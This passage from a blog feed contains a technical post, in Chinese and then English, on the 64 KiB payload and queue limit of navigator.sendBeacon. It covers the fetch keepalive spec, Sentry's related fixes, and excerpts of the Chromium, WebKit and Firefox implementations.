operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>Cors<span class="token punctuation">;</span>                options<span class="token punctuation">.</span>httpHeadersToKeep<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>HTTPHeadersToKeepFromCleaning<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span><span class="token operator">!</span>m_inflightBeacons<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    m_inflightBeacons<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">addClient</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到整個流程與 Chromium 是差不多的，先檢查 URL 的合法性，接著檢查 CSP，然後送出一個 keepalive 的請求。</p><p>這呼應到我們之前所說的以及規格上寫的，sendBeacon 底層就是個 keepalive 的 fetch。那 keepalive queue 大小超過的原始碼會在哪裡呢？</p><p>從實作中可以看出如果 queue 的大小超過了，八成就是這一段出錯，因為只有這邊會回傳 false：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>因此可以往 <code>requestBeaconResource</code> 下去追蹤。除此之外，我們也可以從另一個方向來追蹤原始碼在哪一段。</p><p>還記得剛剛那個送出 8 個長度 10000 的字串的範例嗎？在 Chrome 上只會看到請求變成 pending，但是在 Safari 上會出現貼心的提示：</p><blockquote><p>Beacon API cannot load <a href="https://httpstat.us/200?log7">https://httpstat.us/200?log7</a>. Reached maximum amount of queued data of 64Kb for keepalive requests</p></blockquote><p>直接用這個錯誤訊息就可以找到相關的原始碼，在 <a href="https://github.com/WebKit/WebKit/blob//WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/CachedResource.cpp#L249">WebKit&#x2F;Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;CachedResource.cpp</a>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">if</span> <span class="token punctuation">(</span>    m_options<span class="token punctuation">.</span>keepAlive <span class="token operator">&amp;&amp;</span> <span class="token function">type</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> Type<span class="token double-colon punctuation">::</span>Ping <span class="token operator">&amp;&amp;</span>    <span class="token operator">!</span>cachedResourceLoader<span class="token punctuation">.</span><span class="token function">keepaliveRequestTracker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span>  <span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">setResourceError</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>      errorDomainWebKitInternal<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> request<span class="token punctuation">.</span><span class="token function">url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token string">"Reached maximum amount of queued data of 64Kb for keepalive requests"</span>_s<span class="token punctuation">,</span>      ResourceError<span class="token double-colon punctuation">::</span>Type<span class="token double-colon punctuation">::</span>AccessControl    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">failBeforeStarting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果是 keepalive，而且 type 不是 ping（sendBeacon 的 type 會是 <code>Type::Beacon</code>），又沒辦法註冊新的請求，就回傳這個錯誤。</p><p>因此重點就是 <code>keepaliveRequestTracker().tryRegisterRequest</code> 這個方法了，在 <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/KeepaliveRequestTracker.cpp">Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;KeepaliveRequestTracker.cpp</a>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">const</span> <span class="token keyword">uint64_t</span> maxInflightKeepaliveBytes <span class="token punctuation">&#123;</span> <span class="token number">65536</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span> <span class="token comment">// 64 kibibytes as per Fetch specification.</span><span class="token keyword">bool</span> <span class="token class-name">KeepaliveRequestTracker</span><span class="token double-colon punctuation">::</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span>CachedResource<span class="token operator">&amp;</span> resource<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span>resource<span class="token punctuation">.</span><span class="token function">options</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>keepAlive<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">auto</span> body <span class="token operator">=</span> resource<span class="token punctuation">.</span><span class="token function">resourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">httpBody</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>body<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token keyword">uint64_t</span> bodySize <span class="token operator">=</span> body<span class="token operator">-></span><span class="token function">lengthInBytes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>m_inflightKeepaliveBytes <span class="token operator">+</span> bodySize <span class="token operator">></span> maxInflightKeepaliveBytes<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token function">registerRequest</span><span class="token punctuation">(</span>resource<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其實也就只是算一下還在等待的有多少，加上去會不會超過最大值 65536，做的事情跟 Sentry 最後的那個 PR 差不多。</p><h3><span id="firefox-的-sendbeacon-實作">Firefox 的 sendBeacon 實作</span></h3><p>在之前 Sentry 的 PR 中其實就有提到 Firefox 不支援 keepalive，對應到的 ticket 是這張：<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1342484">[meta] Support Fetch keepalive flag and enforce limit on inflight keepalive bytes</a>，目前還沒被關閉，從討論中看起來似乎半年前開始有了進展，在 2024 年 11 月推出的 Firefox 133 版本中正式開始支援，雖然還有一些 bug，但應該會越來越穩定。</p><p>我用三個瀏覽器測試了一個情境，送出 10 個長度 6 萬的字串：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">10</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">60000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Chrome 跟 Safari 都只送出了一個請求，但是 Firefox 133.0.3  倒是很貼心地全部都送出去了，目前還沒有 64 KiB 的限制：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p7.png" alt="Firefox 截圖"></p><p>如果有人好奇底層實作，程式碼在這裡：<a href="https://github.com/mozilla/gecko-dev/blob/94c62970ba2f9c40efd5a4f83a538595425820d9/dom/base/Navigator.cpp#L1163">gecko-dev&#x2F;dom&#x2F;base&#x2F;Navigator.cpp</a>，目前看起來應該還沒把 keepalive 整進去，所以才沒有觸發到上限。未來應該會按照 spec 走，使用 keepalive 請求，並且遵守 payload 的大小限制。</p><h2><span id="結語">結語</span></h2><p>小功能大學問，一個看似簡單的 <code>sendBeacon</code>，其實深入研究之後也滿有趣的，知道了它的限制、解法，也能從 Sentry 的修補過程中學到一些經驗，還看了瀏覽器的原始碼，更理解背後的實作。</p><p>總之呢，在實務上若是要使用 <code>sendBeacon</code>，都請記得加個錯誤處理，在回傳值是 false 時，改成一般的 fetch 或是加上重試機制，才能加強資料傳輸的穩定性。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;當你想在網頁上向 server 發送一些 tracking 相關的資訊時，比起直接用 &lt;code&gt;fetch&lt;/code&gt; 送出請求，有另一個通常會被推薦的選擇：&lt;code&gt;navigator.sendBeacon&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;為什麼會推薦這個呢？&lt;/p&gt;
&lt;p&gt;因為如果是用一般送出請求的方法，在使用者把頁面關掉或是跳轉的時候可能會有問題，例如說剛好在關掉頁面時發送請求，這個請求可能就送不出去，隨著頁面關閉一起被取消了。&lt;/p&gt;
&lt;p&gt;雖然說可以利用一些方法嘗試強制送出請求，但這些方法通常都會傷害使用者體驗，例如說強制讓頁面晚一點關閉，或是送出一個同步的請求之類的。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;navigator.sendBeacon&lt;/code&gt; 就是為了解決這個問題而生的。&lt;/p&gt;</summary>
    
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/categories/Front-end/"/>
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/tags/Front-end/"/>
    
  </entry>
  
  <entry>
    <title>The 64KiB Limitation of navigator.sendBeacon and its implementation</title>
    <link href="https://blog.huli.tw/2025/01/06/en/navigator-sendbeacon-64kib-and-source-code/"/>
    <id>https://blog.huli.tw/2025/01/06/en/navigator-sendbeacon-64kib-and-source-code/</id>
    <published>2025-01-06T02:40:00.000Z</published>
    <updated>2025-02-28T12:44:35.459Z</updated>
    
    <content type="html"><![CDATA[<p>When you want to send some tracking-related information to the server from a webpage, there is another option that is often recommended over directly using <code>fetch</code> to send requests: <code>navigator.sendBeacon</code>.</p><p>Why is this recommended?</p><p>Because if you use the usual method of sending requests, there may be issues when the user closes the page or navigates away. For example, if a request is sent just as the page is being closed, that request may not go through and could be canceled along with the page closure.</p><p>Although there are ways to try to force the request to be sent, these methods often harm the user experience, such as forcing the page to close later or sending a synchronous request.</p><p><code>navigator.sendBeacon</code> was created to solve this problem.</p><span id="more"></span><p>As stated in the <a href="https://w3c.github.io/beacon/">spec</a>:</p><blockquote><p>This specification defines an interface that web developers can use to schedule asynchronous and non-blocking delivery of data that minimizes resource contention with other time-critical operations, while ensuring that such requests are still processed and delivered to destination</p><p>This specification defines an interface for web developers to schedule asynchronous and non-blocking data transmission, minimizing resource contention with other time-sensitive operations while ensuring that these requests can still be processed and delivered to the target location.</p></blockquote><p>The usage is also very simple:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This will send a POST request to <code>/log</code>.</p><p>Although it is simple and easy to use, one important point to note is that the payload being sent has a size limit, and this limit is not just for a single request.</p><h2><span id="payload-limit-of-navigatorsendbeacon">Payload Limit of navigator.sendBeacon</span></h2><p>The payload limit for <code>sendBeacon</code> is 64 KiB, equivalent to 65536 bytes. If the payload consists entirely of English characters, since each character is one byte, that means 65536 characters.</p><p>If you exceed this size, you will find that the request cannot be sent and remains in a pending state:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">65536</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p1.png" alt="Forever pending"></p><p>Moreover, this limitation is not just for a single request; there is a queue behind it, and this queue will not accept new items if it exceeds 65536 bytes.</p><p>For example, when we continuously send 8 requests of 10000 characters each:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">8</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">10000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You will find that the last two requests remain in a pending state and cannot be sent:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p2.png" alt="Exceeding the queue limit will keep it pending"></p><p>This is because the first six <code>sendBeacon</code> calls have already filled the queue to 60000, so the last two cannot fit, and thus cannot accept new requests, remaining in a pending state without actively trying to push new ones in when the queue is empty.</p><p>However, strictly speaking, this is not actually a problem with <code>sendBeacon</code>, but rather a limitation that comes with fetch combined with keepalive. In fact, the underlying implementation of <code>navigator.sendBeacon</code> is fetch combined with keepalive.</p><h2><span id="the-specification-of-navigatorsendbeacon-and-a-short-story-about-sentry">The Specification of navigator.sendBeacon and a Short Story about Sentry</span></h2><p>In the specification section <a href="https://w3c.github.io/beacon/#sec-processing-model">3.2 Processing Model</a>, step six mentions the queue we just discussed:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p3.png" alt="Queue in the spec"></p><p>If it is determined that the request cannot fit into the queue, <code>sendBeacon</code> will return false.</p><p>This is actually the solution when the payload encounters a problem. After calling <code>sendBeacon</code>, check if the return value is false. If it is, proceed to handle it, deciding whether to fallback to a regular fetch or implement a retry mechanism.</p><p>The seventh step is what <code>sendBeacon</code> primarily does: it creates a keepalive request and sends it out:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p4.png" alt="keepalive section"></p><p>The payload limit for fetch + keepalive is 64 KiB, which is stated in the <a href="https://fetch.spec.whatwg.org/#http-network-or-cache-fetch">spec</a>:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/fetch-spec.png" alt="fetch spec"></p><p>The error tracking service Sentry actually encountered this issue in the past. In 2018, it was discovered that Sentry had keepalive enabled by default when using fetch, causing some requests over 65536 bytes to fail to send. As a result, this flag was removed:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p5.png" alt="Sentry issue"></p><p>Source: <a href="https://github.com/getsentry/sentry-javascript/issues/1464">When fetch is used keepalive is the default, and Chrome only allows a POST body &lt;&#x3D; 65536 bytes in that scenario #1464</a>, the removed PR: <a href="https://github.com/getsentry/sentry-javascript/pull/1496">ref: Remove keepalive:true as a default and document payload size #1496</a></p><p>Two years later, in 2020, someone discovered the specifications and correct usage of keepalive: <a href="https://github.com/getsentry/sentry-javascript/issues/2547">Fetch KeepAlive #2547</a>, proposing to use keepalive under the payload allowance, and not to use it if exceeded, rather than not using it at all as was the case then.</p><p>However, no action was taken at that time. It was another two years later, in 2022, when someone found that Chrome cancels all requests during navigation, causing some requests to fail to send, leading to the idea of using keepalive to solve this.</p><p>Thus, in September 2022, it was added back with insightful comments:</p><p><a href="https://github.com/getsentry/sentry-javascript/issues/2547">feat(browser): Use fetch keepalive flag #5697</a></p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Outgoing requests are usually cancelled when navigating to a different page, causing a "TypeError: Failed to</span><span class="token comment">// fetch" error and sending a "network_error" client-outcome - in Chrome, the request status shows "(cancelled)".</span><span class="token comment">// The `keepalive` flag keeps outgoing requests alive, even when switching pages. We want this since we're</span><span class="token comment">// frequently sending events right before the user is switching pages (eg. whenfinishing navigation transactions).</span><span class="token comment">// Gotchas:</span><span class="token comment">// - `keepalive` isn't supported by Firefox</span><span class="token comment">// - As per spec (https://fetch.spec.whatwg.org/#http-network-or-cache-fetch), a request with `keepalive: true`</span><span class="token comment">//   and a content length of > 64 kibibytes returns a network error. We will therefore only activate the flag when</span><span class="token comment">//   we're below that limit.</span><span class="token literal-property property">keepalive</span><span class="token operator">:</span> request<span class="token punctuation">.</span>body<span class="token punctuation">.</span>length <span class="token operator">&lt;=</span> <span class="token number">65536</span><span class="token punctuation">,</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Machine translation from Chinese:</p><blockquote><p>When switching to a different page, unfinished requests are often canceled, leading to a “TypeError: Failed to fetch” error and a “network_error” message. In Chrome, the request status shows “(cancelled)”.<br>The keepalive flag allows unfinished requests to remain active during page transitions. Since we often send events before users switch pages, this functionality is necessary.</p><p>Important to note:</p><ol><li>Firefox does not support keepalive.</li><li>According to the specification, if a request is set with keepalive: true and the content length exceeds 64 KiB, a network error will be returned. Therefore, we will only enable this flag when the request content length is below that limit.</li></ol></blockquote><p>But the story doesn’t end here. As I mentioned earlier, this 65536 limit is not just for a single request, but there is a queue, so this approach is insufficient. Six months later, Sentry also noticed this issue and added logic to calculate the queue size, making the entire mechanism more robust: <a href="https://github.com/getsentry/sentry-javascript/pull/7553">fix(browser): Ensure keepalive flag is correctly set for parallel requests #7553</a></p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p6.png" alt="Issue screenshot"></p><p>If you want to implement something similar in the future, you can directly refer to the above Sentry PR.</p><h2><span id="implementation-of-sendbeacon">Implementation of sendBeacon</span></h2><h3><span id="implementation-of-sendbeacon-in-chromium">Implementation of sendBeacon in Chromium</span></h3><p>Finally, let’s take a look at the underlying implementation of sendBeacon, starting with Chromium. I will use the latest stable version 131.0.6778.205 at the time of writing this article as an example. The relevant code can be found at: <a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/modules/beacon/navigator_beacon.cc;l=93">third_party&#x2F;blink&#x2F;renderer&#x2F;modules&#x2F;beacon&#x2F;navigator_beacon.cc</a></p><p>I have extracted a small segment of the core code:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool NavigatorBeacon<span class="token operator">::</span><span class="token function">SendBeaconImpl</span><span class="token punctuation">(</span>    ScriptState<span class="token operator">*</span> script_state<span class="token punctuation">,</span>    <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url_string<span class="token punctuation">,</span>    <span class="token keyword">const</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">*</span> data<span class="token punctuation">,</span>    ExceptionState<span class="token operator">&amp;</span> exception_state<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  ExecutionContext<span class="token operator">*</span> execution_context <span class="token operator">=</span> ExecutionContext<span class="token operator">::</span><span class="token function">From</span><span class="token punctuation">(</span>script_state<span class="token punctuation">)</span><span class="token punctuation">;</span>  KURL url <span class="token operator">=</span> execution_context<span class="token operator">-></span><span class="token function">CompleteURL</span><span class="token punctuation">(</span>url_string<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">CanSendBeacon</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> url<span class="token punctuation">,</span> exception_state<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> false<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  bool allowed<span class="token punctuation">;</span>  LocalFrame<span class="token operator">*</span> frame <span class="token operator">=</span> <span class="token function">GetSupplementable</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetFrame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">switch</span> <span class="token punctuation">(</span>data<span class="token operator">-></span><span class="token function">GetContentType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token comment">// [...]</span>      <span class="token keyword">case</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">::</span>ContentType<span class="token operator">::</span>          kUSVString<span class="token operator">:</span>        UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span>                          WebFeature<span class="token operator">::</span>kSendBeaconWithUSVString<span class="token punctuation">)</span><span class="token punctuation">;</span>        allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span>                                         data<span class="token operator">-></span><span class="token function">GetAsUSVString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span> <span class="token function">String</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>allowed<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> WebFeature<span class="token operator">::</span>kSendBeaconQuotaExceeded<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> allowed<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The beginning of <code>CanSendBeacon</code> basically checks whether the URL is valid. If it is valid, it continues to check the content type of the payload to be sent, and the actual sending occurs in the <code>PingLoader::SendBeacon</code> method.</p><p>In addition, you can see <code>UseCounter::Count</code> in the code, which is used by Chromium to track the usage frequency of certain features.</p><p>The implementation of <code>PingLoader::SendBeacon</code> can be found at <a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/core/loader/ping_loader.cc">third_party&#x2F;blink&#x2F;renderer&#x2F;core&#x2F;loader&#x2F;ping_loader.cc</a>:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool <span class="token function">SendBeaconCommon</span><span class="token punctuation">(</span><span class="token keyword">const</span> ScriptState<span class="token operator">&amp;</span> state<span class="token punctuation">,</span>                      LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                      <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> url<span class="token punctuation">,</span>                      <span class="token keyword">const</span> BeaconData<span class="token operator">&amp;</span> beacon<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">GetContentSecurityPolicyForWorld</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">AllowConnectToSource</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> url<span class="token punctuation">,</span> RedirectStatus<span class="token operator">::</span>kNoRedirect<span class="token 